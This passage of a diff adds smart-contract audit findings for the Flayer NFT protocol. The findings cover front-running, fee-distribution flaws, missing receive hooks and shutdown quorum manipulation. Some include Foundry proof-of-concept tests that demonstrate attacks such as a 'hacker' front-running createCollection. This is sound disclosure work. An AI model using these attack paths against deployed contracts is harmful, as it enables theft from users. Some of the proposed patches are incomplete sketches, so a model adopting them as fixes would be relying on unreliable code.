+
+4) The Hacker tx has been executed before the user1 transaction.
+
+5) The User1 tx goes in revert.
+
+
+### Impact
+
+Every single call to createCollection() function can be frontrunned.
+At this point, the denominator has a crucial role in minting the ERC20 collectionTokens, and the possibility to frontrun this function, can open to possible bugs likes:
+
+1) Wrong amount of tokens minted per deposit.
+2) User, could initialize the "wrong" collection and send NFTs to that.
+
+### PoC
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.22;
+
+import {StdCheats} from "forge-std/Test.sol";
+import {ProxyAdmin, ITransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
+import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
+import {CollectionToken} from "@flayer/CollectionToken.sol";
+import {FlayerTest, ERC721Mock} from "../lib/FlayerTest.sol";
+import "forge-std/console.sol";
+
+contract CollectionTokenProxyFlyerTest is FlayerTest {
+ address payable internal _proxy;
+ ProxyAdmin internal _proxyAdmin;
+
+ CollectionToken internal _collectionTokenV1Impl;
+ CollectionToken internal _collectionTokenV1;
+ TransparentUpgradeableProxy _collectionTokenV1Proxy;
+
+ // Address that interacts
+ address owner;
+ address user1;
+ address user2;
+ address hacker;
+
+
+ function setUp() public {
+ owner = vm.addr(4);
+ user1 = vm.addr(1);
+ user2 = vm.addr(2);
+ hacker = vm.addr(3);
+
+ vm.deal(owner, 1000 ether);
+ vm.deal(user1, 1000 ether);
+ vm.deal(user2, 1000 ether);
+ vm.deal(hacker, 1000 ether);
+
+
+ _deployPlatform();
+
+
+ vm.startPrank(user1);
+ WETH.deposit{value:10 ether}();
+ }
+
+
+
+
+ function test_frontRunCreateCollection()public{
+
+ // User 1 Deploy and mint 10 Mock Tokens
+ vm.startPrank(user1);
+ erc721a = new ERC721Mock();
+ for(uint i = 0; i < 10; i++){
+ erc721a.mint(user1, i);
+ }
+
+ // erc721a id 10 For the hacker
+ erc721a.mint(hacker, 10);
+ vm.stopPrank();
+
+
+
+ // Let's suppose a front run scenario where the 2 tx run together
+ // Hacker Frontrun the creations of collections from the user1 setting "wrong" parameters
+
+ vm.startPrank(hacker);
+ address newHackerCollection = locker.createCollection(address(erc721a), "SCAMMY", "SCAM", 0);
+ console.log("Hacker Collection", newHackerCollection);
+ vm.stopPrank();
+
+
+
+ //User 1 has been Frontrunned in creating the collection
+
+ vm.startPrank(user1);
+ vm.expectRevert(0xd7feb16d);
+ locker.createCollection(address(erc721a), "Mock", "MOCK", 9);
+
+
+
+ uint256[] memory path = new uint256[](10);
+
+ for(uint i = 0; i < 10; i++){
+ path[i] = i;
+ erc721a.approve(address(locker), i);
+ }
+
+ WETH.approve(address(locker), 10 ether);
+
+
+ // User1 will initialize the "Wrong" collection and mint the wrong amount of tokens due to 0 as denomination
+
+ locker.initializeCollection(address(erc721a), 0.05 ether, path, path.length * 1 ether, 4306310044);
+ }
+}
+
+```
+
+### Mitigation
+
+To mitigate this, you can simply add the msg.sender to the `salt`argument passed to cloneDeterministic.
\ No newline at end of file
diff --git a/016/265.md b/016/265.md
new file mode 100644
index 0000000..a159216
--- /dev/null
+++ b/016/265.md
@@ -0,0 +1,44 @@
+Precise Lava Starfish
+
+Medium
+
+# users can sandwich rewards because of unused donateThresholdMax
+
+## Summary
+users can sandwich rewards because of unused donateThresholdMax
+
+## Vulnerability Detail
+Some deposit fees will be accured via trading NFT Tokens. These fees will be distributed to Uniswap Pool LP holders. There is one variable `donateThresholdMax` to prevent too much donation. This aims to prevent targetted distribution to sandwich rewards.
+For example:
+1. There are enough collection token fees in the Uniswap implementation contract.
+2. Alice add lots of liquidity in the uniswap v4 pool.
+3. Alice try to do some swap to convert collection token fees to WETH fees.
+4. Alice will get some rewards for her Lp and then remove LPs.
+```solidity
+ uint public donateThresholdMin = 0.001 ether;
+ uint public donateThresholdMax = 0.1 ether;
+```
+```solidity
+ function _distributeFees(PoolKey memory _poolKey) internal {
+ ...
+ // Get the amount of the native token available to donate
+ uint donateAmount = _poolFees[poolId].amount0;
+ // Ensure that the collection has sufficient fees available
+ if (donateAmount < donateThresholdMin) {
+ return;
+ }
+@> missing check donateThresholdMax
+```
+
+## Impact
+Malicious users can get some rewards via sandwich.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L308-L365
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+When we distribute fees to the LPs, make sure the distribution fee cannot exceed `donateThresholdMax` in one block.
\ No newline at end of file
diff --git a/016/328.md b/016/328.md
new file mode 100644
index 0000000..4beb7c0
--- /dev/null
+++ b/016/328.md
@@ -0,0 +1,127 @@
+Shiny Mint Lion
+
+High
+
+# There is a logical error in the _distributeFees() function, resulting in an unfair distribution of fees.
+
+## Summary
+There is a logical error in the _distributeFees() function, resulting in an unfair distribution of fees.
+## Vulnerability Detail
+```javascript
+ function _distributeFees(PoolKey memory _poolKey) internal {
+ // If the pool is not initialized, we prevent this from raising an exception and bricking hooks
+@>> PoolId poolId = _poolKey.toId();
+ PoolParams memory poolParams = _poolParams[poolId];
+
+ if (!poolParams.initialized) {
+ return;
+ }
+
+ // Get the amount of the native token available to donate
+ uint donateAmount = _poolFees[poolId].amount0;
+
+ // Ensure that the collection has sufficient fees available
+ if (donateAmount < donateThresholdMin) {
+ return;
+ }
+
+ // Reduce our available fees
+ _poolFees[poolId].amount0 = 0;
+
+ // Split the donation amount between beneficiary and LP
+@>> (uint poolFee, uint beneficiaryFee) = feeSplit(donateAmount);
+
+ // Make our donation to the pool, with the beneficiary amount remaining in the
+ // contract ready to be claimed.
+ if (poolFee > 0) {
+ // Determine whether the currency is flipped to determine which is the donation side
+ (uint amount0, uint amount1) = poolParams.currencyFlipped ? (uint(0), poolFee) : (poolFee, uint(0));
+ BalanceDelta delta = poolManager.donate(_poolKey, amount0, amount1, '');
+
+ // Check the native delta amounts that we need to transfer from the contract
+ if (delta.amount0() < 0) {
+ _pushTokens(_poolKey.currency0, uint128(-delta.amount0()));
+ }
+
+ if (delta.amount1() < 0) {
+ _pushTokens(_poolKey.currency1, uint128(-delta.amount1()));
+ }
+
+ emit PoolFeesDistributed(poolParams.collection, poolFee, 0);
+ }
+
+ // Check if we have beneficiary fees to distribute
+ if (beneficiaryFee != 0) {
+ // If our beneficiary is a Flayer pool, then we make a direct call
+@>> if (beneficiaryIsPool) {
+ // As we don't want to make a transfer call, we just extrapolate
+ // the required logic from the `depositFees` function.
+@>> _poolFees[_poolKeys[beneficiary].toId()].amount0 += beneficiaryFee;
+ emit PoolFeesReceived(beneficiary, beneficiaryFee, 0);
+ }
+ // Otherwise, we can just update the escrow allocation
+ else {
+ beneficiaryFees[beneficiary] += beneficiaryFee;
+ emit BeneficiaryFeesReceived(beneficiary, beneficiaryFee);
+ }
+ }
+ }
+```
+If beneficiaryIsPool = true, then BaseImplementation::beneficiary is the Flayer protocol’s NFT Collection. We can also confirm this from the setBeneficiary() function.
+```javascript
+ function setBeneficiary(address _beneficiary, bool _isPool) public onlyOwner {
+ beneficiary = _beneficiary;
+ beneficiaryIsPool = _isPool;
+
+ // If we are setting the beneficiary to be a Flayer pool, then we want to
+ // run some additional logic to confirm that this is a valid pool by checking
+ // if we can match it to a corresponding {CollectionToken}.
+@>> if (_isPool && address(locker.collectionToken(_beneficiary)) == address(0)) {
+ revert BeneficiaryIsNotPool();
+ }
+
+ emit BeneficiaryUpdated(_beneficiary, _isPool);
+ }
+```
+The function checks that the NFT collection must have the corresponding collectionToken.
+
+
+```javascript
+ function feeSplit(uint _amount) public view returns (uint poolFee_, uint beneficiaryFee_) {
+ // If our beneficiary royalty is zero, then we can exit early and avoid reverts
+ if (beneficiary == address(0) || beneficiaryRoyalty == 0) {
+ return (_amount, 0);
+ }
+
+ // Calculate the split of fees, prioritising benefit to the pool
+ beneficiaryFee_ = _amount * beneficiaryRoyalty / ONE_HUNDRED_PERCENT;
+ poolFee_ = _amount - beneficiaryFee_;
+ }
+```
+In the feeSplit() function, the fees are divided into two parts: poolFee (95%) and beneficiaryFee (5%). The poolFee goes to the LP Holders of the collectionToken for some NFT, while the beneficiaryFee goes to the LP Holders of the collectionToken for the Flayer protocol’s NFT.
+
+The root cause of the issue is that when _distributeFees() is called for the collectionToken of the Flayer protocol’s NFT Collection (which we will refer to as the collectionToken of Flayer), _poolKeys[beneficiary].toId() and PoolId poolId = _poolKey.toId(); result in the same poolId. This leaves 5% of the fees undistributed, which is clearly wrong. It should distribute 100% of the fees to the current LP Holders.
+
+According to the current logic in the code, when _distributeFees() is called for the collectionToken of the Flayer protocol’s NFT, it always leaves 5% of the fees unallocated. If a user provides liquidity to the pool, 95% of the fees will be distributed to the original LP Holders. However, the new LP Holder, upon joining, will immediately gain a share of the remaining 5% of the fees. That's wrong.
+
+
+## Impact
+The newly joined LP Holders receive an unfair portion of the fees, leading to a loss for the original LP Holders.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L308
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+```diff
+ // Split the donation amount between beneficiary and LP
+ (uint poolFee, uint beneficiaryFee) = feeSplit(donateAmount);
+
++ if(poolId==_poolKeys[beneficiary].toId()){
++ poolFee = donateAmount;
++ beneficiaryFee = 0;
++ }
+```
\ No newline at end of file
diff --git a/016/607.md b/016/607.md
new file mode 100644
index 0000000..e4adfd4
--- /dev/null
+++ b/016/607.md
@@ -0,0 +1,119 @@
+Unique Inky Puppy
+
+Medium
+
+# Insufficient check to ensure that the `poolFee` to be donated to the pool is within the `donateTresholdMin` and `donateThresholdMax` range.
+
+## Summary
+After the available fees have been split between the beneficiary and the pool the function doesn't ensure that the amount being sent to the pool is within the specified range, this may lead to `sandwiching reward distribution` of large `poolFee` donations above the `donateThresholnMax` and take advantage of the other users. Also, donations below the `donateTresholdMin` will lead to waste of `gasFee` and loss of funds in the long run as the impact compounds over time.
+
+## Vulnerability Detail
+In the contract uniswpImplementation.sol, the function [_distributeFees()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L316-L345) is an internal function used to distribute fees between the pool and beneficiary and is called during the following functions: `afterSwap`, `beforeAddLiquidity` and `beforeRemoveLiquidity`. The function `donates` poolFee to the `poolManager` and then leaves `beneficiaryFee` in the contract for the beneficiary to claim. The function first checks to see if the `donateAmount` is greater than the minimum threshold before calling `feeSplit()` to split the `donateAmount` between the pool and beneficiary after which the function checks if `poolFee > 0` and if this check validates to true, the poolFee is then sent to the `poolManager` before running the rest of the code. The `issue` here is that the function does not check if the `poolFee` after the `Split` is within the range of `donateThrsholdMin` and `donateThresholdMax` before calling the `donate` function in `poolManager.sol` which can lead to wasted calls that would distribute less ETH than gas spent, if below range and also lead to targetted distribution to sandwich rewards.
+This goes against the intention of the devs as the threshold created is not properly used.
+
+[Link](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L57-L63)
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.22;
+
+abstract contract BaseImplementation is IBaseImplementation, Initializable, Ownable, ReentrancyGuard {
+
+/// Prevents fee distribution to Uniswap V4 pools below a certain threshold:
+ /// - Saves wasted calls that would distribute less ETH than gas spent
+ /// - Prevents targetted distribution to sandwich rewards
+ uint public donateThresholdMin = 0.001 ether;
+ uint public donateThresholdMax = 0.1 ether;
+```
+
+## Impact
+This will lead to wasted calls that don't distribute enough ETH during fee donation below the `donateThresholdMin`, this may seem small but considering the amount of pools that will be created plus the frequency in which the calls are made will create a `compounding` effect that can snowball into a substantial amount. furthermore as stated in the snippet above, it will lead to targeted distribution to `sandwich` rewards.
+
+## Code Snippet
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.22;
+
+contract UniswapImplementation is BaseImplementation, BaseHook {
+...
+function _distributeFees(PoolKey memory _poolKey) internal {
+ // If the pool is not initialized, we prevent this from raising an exception and bricking hooks
+ PoolId poolId = _poolKey.toId();
+ PoolParams memory poolParams = _poolParams[poolId];
+
+ if (!poolParams.initialized) {
+ return;
+ }
+
+ // Get the amount of the native token available to donate
+ uint donateAmount = _poolFees[poolId].amount0;
+
+ // Ensure that the collection has sufficient fees available
+ if (donateAmount < donateThresholdMin) {
+ return;
+ }
+
+ // Reduce our available fees
+ _poolFees[poolId].amount0 = 0;
+
+ // Split the donation amount between beneficiary and LP
+ (uint poolFee, uint beneficiaryFee) = feeSplit(donateAmount);
+
+ // Make our donation to the pool, with the beneficiary amount remaining in the
+ // contract ready to be claimed.
+ if (poolFee > 0) {
+ // Determine whether the currency is flipped to determine which is the donation side
+ (uint amount0, uint amount1) = poolParams.currencyFlipped ? (uint(0), poolFee) : (poolFee, uint(0));
+ BalanceDelta delta = poolManager.donate(_poolKey, amount0, amount1, '');
+ //more code...
+}
+```
+
+## Tool used
+Manual Review
+
+## Recommendation
+A check should be done on `poolFee` after `feeSplit()` has been called to ensure that the poolFee is still within the preferred range set in the base implementation.
+And if the `poolFee` is above `donateThresholdMax` it should be subtracted and saved sending only the maximum value.
+```diff
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.22;
+
+contract UniswapImplementation is BaseImplementation, BaseHook {
+...
+function _distributeFees(PoolKey memory _poolKey) internal {
+ // If the pool is not initialized, we prevent this from raising an exception and bricking hooks
+ PoolId poolId = _poolKey.toId();
+ PoolParams memory poolParams = _poolParams[poolId];
+
+ if (!poolParams.initialized) {
+ return;
+ }
+
+ // Get the amount of the native token available to donate
+ uint donateAmount = _poolFees[poolId].amount0;
+
+ // Ensure that the collection has sufficient fees available
+ if (donateAmount < donateThresholdMin) {
+ return;
+ }
+
+ // Reduce our available fees
+ _poolFees[poolId].amount0 = 0;
+
+ // Split the donation amount between beneficiary and LP
+ (uint poolFee, uint beneficiaryFee) = feeSplit(donateAmount);
+
+ // Make our donation to the pool, with the beneficiary amount remaining in the
+ // contract ready to be claimed.
+-- if (poolFee > 0) {
+++ if (poolFee > donateThresholdMin && poolFee < donateThresholdMax) {
+ // Determine whether the currency is flipped to determine which is the donation side
+ (uint amount0, uint amount1) = poolParams.currencyFlipped ? (uint(0), poolFee) : (poolFee, uint(0));
+ BalanceDelta delta = poolManager.donate(_poolKey, amount0, amount1, '');
+ }
+++ else {
+++ // if greater than the range subtract and send max value
+ }
+ //more code...
+}
+```
diff --git a/016/638.md b/016/638.md
new file mode 100644
index 0000000..97ec53c
--- /dev/null
+++ b/016/638.md
@@ -0,0 +1,69 @@
+Flaky Sable Hamster
+
+Medium
+
+# `_distributeFees()` only checks for `donateThresholdMin` but not `donateThresholdMax`
+
+## Summary
+`_distributeFees()` only checks for `donateThresholdMin` but not `donateThresholdMax`
+
+## Vulnerability Detail
+There are two variables `donateThresholdMin` & `donateThresholdMax` in the implementation that dictates, what is the min amount required to `distributeFees` and what is the max amount that can be distributed in `single` trx.
+```solidity
+ /// Prevents fee distribution to Uniswap V4 pools below a certain threshold:
+ /// - Saves wasted calls that would distribute less ETH than gas spent
+ /// - Prevents targetted distribution to sandwich rewards
+ uint public donateThresholdMin = 0.001 ether;
+ uint public donateThresholdMax = 0.1 ether;
+```
+```solidity
+/**
+ * Allows us to set a new donation threshold. Unless this threshold is surpassed
+ * with the fees mapped against it, the `donate` function will not be triggered.
+ *
+//
+ *
+ * @param _donateThresholdMin The minimum amount before a distribution is triggered
+@> * @param _donateThresholdMax The maximum amount that can be distributed in a single tx
+ */
+ function setDonateThresholds(uint _donateThresholdMin, uint _donateThresholdMax) public onlyOwner {
+ if (_donateThresholdMin > _donateThresholdMax) revert InvalidDonateThresholds();
+
+ (donateThresholdMin, donateThresholdMax) = (_donateThresholdMin, _donateThresholdMax);
+ emit DonateThresholdsUpdated(_donateThresholdMin, _donateThresholdMax);
+ }
+```
+Now the problem is, in _distributeFees(), it only enforces the `donateThresholdMin` but not `donateThresholdMax`
+```solidity
+function _distributeFees(PoolKey memory _poolKey) internal {
+...
+ // Get the amount of the native token available to donate
+ uint donateAmount = _poolFees[poolId].amount0;
+
+ // Ensure that the collection has sufficient fees available
+@> if (donateAmount < donateThresholdMin) {
+ return;
+ }
+...
+ }
+```
+
+## Impact
+More amount will be donated in a single trx than the set maxThreshold, which will create the opportunity for the sandwich attack
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L61C2-L62C48
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/BaseImplementation.sol#L245C4-L262C6
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L317C1-L324C1
+
+## Tool used
+Manual Review
+
+## Recommendation
+Enforce the `donateThresholdMax` in _distributeFees()
+```diff
++ if (donateAmount >= donateThresholdMax) {
++ donateAmount -= donateThresholdMax;
++ _poolFees[poolId].amount0 -= donateThresholdMax;
++ }
+```
diff --git a/016/792.md b/016/792.md
new file mode 100644
index 0000000..6adffd1
--- /dev/null
+++ b/016/792.md
@@ -0,0 +1,33 @@
+Muscular Pebble Walrus
+
+Medium
+
+# `donateThresholdMax` is not implemented in _distributeFees()
+
+## Summary
+`donateThresholdMax` is not implemented in _distributeFees()
+
+## Vulnerability Detail
+`donateThresholdMax` is the max amount that can be donated in a single transaction. But the problem is only donateThresholdMin is enforced in _distributeFees()
+```solidity
+ function _distributeFees(PoolKey memory _poolKey) internal {
+//
+ // Ensure that the collection has sufficient fees available
+> if (donateAmount < donateThresholdMin) {
+ return;
+ }
+//
+ }
+```
+
+## Impact
+More token than threshold will be donated in a single transaction
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L308C1-L367C1
+
+## Tool used
+Manual Review
+
+## Recommendation
+Enforce donateThresholdMax in distributeFees()
\ No newline at end of file
diff --git a/017/065.md b/017/065.md
new file mode 100644
index 0000000..d4365f0
--- /dev/null
+++ b/017/065.md
@@ -0,0 +1,36 @@
+Shambolic Fuchsia Chicken
+
+Medium
+
+# Native claimType airdrops aren't possible due to missing receive() function
+
+## Summary
+Neither AirdropRecipient.sol nor Locker.sol has a payable receive() function.
+
+## Vulnerability Detail
+NATIVE claim type would be ETH, BUT AirdropRecipient.sol x Locker.sol doesn't have a receive() function to receive the ETH for claimants to claim.
+
+so native claim type airdrops aren't currently possible.
+
+```solidity
+ } else if (_claimType == Enums.ClaimType.NATIVE) {
+ (bool sent,) = payable(_node.recipient).call{value: _node.amount}('');
+ if (!sent) revert TransferFailed();
+ }
+```
+
+
+## Impact
+Native claimType airdrops aren't possible
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/AirdropRecipient.sol
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/AirdropRecipient.sol#L141
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+add payable receive function to either AirdropRecipient.sol || Locker.sol
\ No newline at end of file
diff --git a/017/222.md b/017/222.md
new file mode 100644
index 0000000..8baf1da
--- /dev/null
+++ b/017/222.md
@@ -0,0 +1,33 @@
+Shiny Mint Lion
+
+High
+
+# The AirdropRecipient contract is missing onERC721Received() function, which prevents it from receiving ERC721 token airdrops.
+
+
+## Summary
+The AirdropRecipient contract is missing onERC721Received() function, which prevents it from receiving ERC721 token airdrops.
+## Vulnerability Detail
+The AirdropRecipient contract is missing the onERC721Received() function. The Locker contract inherits from the AirdropRecipient contract, but Locker also lacks the onERC721Received() function. Since Locker holds all the lock-up NFTs, it is responsible for claiming airdrops from third-party contracts and then distributing them to the listing users. The AirdropRecipient::requestAirdrop() function further supports this point.
+```javascript
+function requestAirdrop(address _contract, bytes calldata _payload) public payable onlyOwner nonReentrant returns (bool success_, bytes memory data_) {
+ if (msg.value > 0) {
+ (success_, data_) = _contract.call{value: msg.value}(_payload);
+ } else {
+ (success_, data_) = _contract.call(_payload);
+ }
+
+ if (!success_) revert ExternalCallFailed();
+ }
+```
+However, since the AirdropRecipient contract is missing the onERC721Received() function, it is impossible to receive ERC721 token airdrops from third-party contracts. This is because when a third-party contract transfers an ERC721 token to the Locker contract, it will almost always call the onERC721Received() function of Locker.
+## Impact
+The inability to receive ERC721 token airdrops results in financial loss.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/AirdropRecipient.sol#L28
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add the onERC721Received() function.
\ No newline at end of file
diff --git a/017/223.md b/017/223.md
new file mode 100644
index 0000000..6262707
--- /dev/null
+++ b/017/223.md
@@ -0,0 +1,33 @@
+Shiny Mint Lion
+
+High
+
+# The AirdropRecipient contract is missing a payable fallback() or receive() function, which prevents it from receiving native token airdrops.
+
+
+## Summary
+The AirdropRecipient contract is missing a payable fallback() or receive() function, which prevents it from receiving native token airdrops.
+## Vulnerability Detail
+The AirdropRecipient contract is missing a payable fallback() or receive() function. The Locker contract inherits from the AirdropRecipient contract, but Locker also lacks a fallback() or receive() function. Since Locker holds all the locked NFTs, it is responsible for claiming airdrops from third-party contracts and then distributing them to the listing users. The AirdropRecipient::requestAirdrop() function further supports this point.
+```javascript
+function requestAirdrop(address _contract, bytes calldata _payload) public payable onlyOwner nonReentrant returns (bool success_, bytes memory data_) {
+ if (msg.value > 0) {
+ (success_, data_) = _contract.call{value: msg.value}(_payload);
+ } else {
+ (success_, data_) = _contract.call(_payload);
+ }
+
+ if (!success_) revert ExternalCallFailed();
+ }
+```
+However, since the AirdropRecipient contract is missing a payable fallback() or receive() function, it is impossible to receive native token airdrops from third-party contracts.
+## Impact
+The inability to receive native token airdrops results in financial loss.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/AirdropRecipient.sol#L28
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add a payable fallback() or receive() function.
\ No newline at end of file
diff --git a/017/224.md b/017/224.md
new file mode 100644
index 0000000..2513ee2
--- /dev/null
+++ b/017/224.md
@@ -0,0 +1,32 @@
+Shiny Mint Lion
+
+High
+
+# The AirdropRecipient contract is missing onERC1155Received() and onERC1155BatchReceived() function, which prevents it from receiving ERC1155 token airdrops.
+
+## Summary
+The AirdropRecipient contract is missing onERC1155Received() and onERC1155BatchReceived() function, which prevents it from receiving ERC1155 token airdrops.
+## Vulnerability Detail
+The AirdropRecipient contract is missing the onERC1155Received() and onERC1155BatchReceived() functions. The Locker contract inherits from the AirdropRecipient contract, but Locker also lacks the onERC1155Received() and onERC1155BatchReceived() functions. Since Locker holds all the locked NFTs, it is responsible for claiming airdrops from third-party contracts and then distributing them to the listing users. The AirdropRecipient::requestAirdrop() function further supports this point.
+```javascript
+function requestAirdrop(address _contract, bytes calldata _payload) public payable onlyOwner nonReentrant returns (bool success_, bytes memory data_) {
+ if (msg.value > 0) {
+ (success_, data_) = _contract.call{value: msg.value}(_payload);
+ } else {
+ (success_, data_) = _contract.call(_payload);
+ }
+
+ if (!success_) revert ExternalCallFailed();
+ }
+```
+However, since the AirdropRecipient contract is missing the onERC1155Received() and onERC1155BatchReceived() functions, it is impossible to receive ERC1155 token airdrops from third-party contracts. When a third-party contract transfers ERC1155 tokens to the Locker contract, it will inevitably call the onERC1155Received() and onERC1155BatchReceived() functions of Locker.
+## Impact
+The inability to receive ERC1155 token airdrops results in financial loss.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/AirdropRecipient.sol#L28
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add the onERC1155Received() and onERC1155BatchReceived() functions.
\ No newline at end of file
diff --git a/018/080.md b/018/080.md
new file mode 100644
index 0000000..d847c32
--- /dev/null
+++ b/018/080.md
@@ -0,0 +1,88 @@
+Sparkly Blush Osprey
+
+Medium
+
+# Admin can sunset a collection without transferring all tokens to Sudoswap pool
+
+### Summary
+
+[CollectionShutdown::execute](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231) is an onlyOwner function that shuts down a collection, transferring ERC721 assets to a Sudoswap pool for liquidation.
+
+The function accepts an array of tokenIds to transfer out, but does not enforce that the array contains all tokens held by the locker.
+
+This will leave NFTs in the locker contract without an associated collection token, requiring the admin to remove those tokens at some point and decide what to do with them.
+
+### Root Cause
+
+In CollectionShutdown::execute, after the Sudoswap sweeper pool creation, there's a missing check to ensure that the Locker holds no more tokens.
+
+The missing check allows a collection to be shutdown without transferring all of its tokens to the sudoswap pool.
+
+### Internal pre-conditions
+
+A collection is ready to be shut down.
+
+### External pre-conditions
+
+n/a
+
+### Attack Path
+
+Admin shuts down the collection with an incomplete tokenIds array parameter.
+
+### Impact
+
+Tokens will be left over in the locker without any associated owners or ERC20 tokens, leaving it up to the admins to decide what to do.
+
+An incomplete transfer will also decrease the variety of options in the sweeper pool, which can discourage users from buying.
+
+### PoC
+
+In CollectionShutdown.t.sol we add the test:
+
+
+```solidity
+
+ function test_CanExecuteShutdownWithBadTokenIdsInput() public withDistributedCollection {
+ // Make a vote with our test user that holds `1 ether`, which will pass quorum
+ collectionShutdown.vote(address(erc721b));
+
+ // Confirm that we can now execute
+ assertCanExecute(address(erc721b), true);
+
+ // Mint NFTs into our collection {Locker}
+ _mintTokensIntoCollection(erc721b, 3);
+
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = 1;
+
+ // Process the execution as the owner
+ collectionShutdown.execute(address(erc721b), tokenIds);
+
+ assertEq(erc721b.balanceOf(address(locker)), 2);
+ }
+
+
+```
+
+```bash
+[PASS] test_CanExecuteShutdownWithBadTokenIdsInput() (gas: 978248)
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.88s (1.41ms CPU time)
+
+Ran 1 test suite in 2.90s (2.88s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+
+### Mitigation
+
+Check that ALL tokens have been transferred, as expected.
+
+```solidity
+ // In CollectionShutdown::execute
+ // Map our collection to a newly created pair
+ address pool = _createSudoswapPool(collection, _tokenIds);
+
+ // Input sanity check:
+ if(collection.balanceOf(address(locker)) != 0){
+ revert LockerStillHasTokens();
+ }
+```
\ No newline at end of file
diff --git a/018/230.md b/018/230.md
new file mode 100644
index 0000000..d99235a
--- /dev/null
+++ b/018/230.md
@@ -0,0 +1,156 @@
+Modern Metal Butterfly
+
+High
+
+# An attacker can frontrun execute call to inflate the newQuorum rate and reduce eth for the voters and lock nfts.
+
+## Summary
+When calling [`execute`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231C1-L275C6) for a collection, the function requires the owner to specify the list of nft tokenIds manually. The problem is an when the owner calls `execute` with the current list of tokenIds, an attacker can frontrun by depositing new nfts in the locker contract just to increase the newQuorum.
+
+## Vulnerability Detail
+The `execute` function is called by owner with list of the current nft ids in the locker contract;
+```javascript
+ function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Ensure we have specified token IDs
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength == 0) revert NoNFTsSupplied();
+```
+we can also see that if there was an increase in the totalSupply of collectionToken i.e. if there was any new deposit of nfts in the locker then we change the `params.quorumVotes`;
+```javascript
+ // Refresh total supply here to ensure that any assets that were added during
+ // the shutdown process can also claim their share.
+ uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+ if (params.quorumVotes != newQuorum) {
+ params.quorumVotes = uint88(newQuorum);
+ }
+```
+
+Now, for example if;
+* there is a collection with 4 nfts deposited i.e. collectionToken totalSupply is 4e18, and say the nft ids are `10, 11, 12 & 13`,
+* now shutdown process was started and quorum votes is reached and owner calls `execute` with the ids `10, 11, 12 & 13`
+* Bob frontruns the execute call by depositing nfts into the locker contract and minting new `collectionTokens`, say he deposits 2 more nft then 2e18 collectionTokens are minted to him;
+```javascript
+ function deposit(address _collection, uint[] calldata _tokenIds, address _recipient) public
+ nonReentrant
+ whenNotPaused
+ collectionExists(_collection)
+ {
+ uint tokenIdsLength = _tokenIds.length;
+ if (tokenIdsLength == 0) revert NoTokenIds();
+
+ // Define our collection token outside the loop
+ IERC721 collection = IERC721(_collection);
+
+ // Take the ERC721 tokens from the caller
+ for (uint i; i < tokenIdsLength; ++i) {
+ // Transfer the collection token from the caller to the locker
+ collection.transferFrom(msg.sender, address(this), _tokenIds[i]);
+ }
+
+ // Mint the tokens to the recipient
+ ICollectionToken token = _collectionToken[_collection];
+ token.mint(_recipient, tokenIdsLength * 1 ether * 10 ** token.denomination());
+
+ emit TokenDeposit(_collection, _tokenIds, msg.sender, _recipient);
+ }
+```
+* now the call to `execute` gets executed, and since totalSupply of the collectionToken has changed the `params.quorumVotes` is also changed;
+```javascript
+ // Refresh total supply here to ensure that any assets that were added during
+ // the shutdown process can also claim their share.
+ uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+ if (params.quorumVotes != newQuorum) {
+ params.quorumVotes = uint88(newQuorum);
+ }
+```
+* previously it was `4e18 * 50 / 100 = 2e18`, now it increases to `6e18 * 50 / 100 = 3e18`,
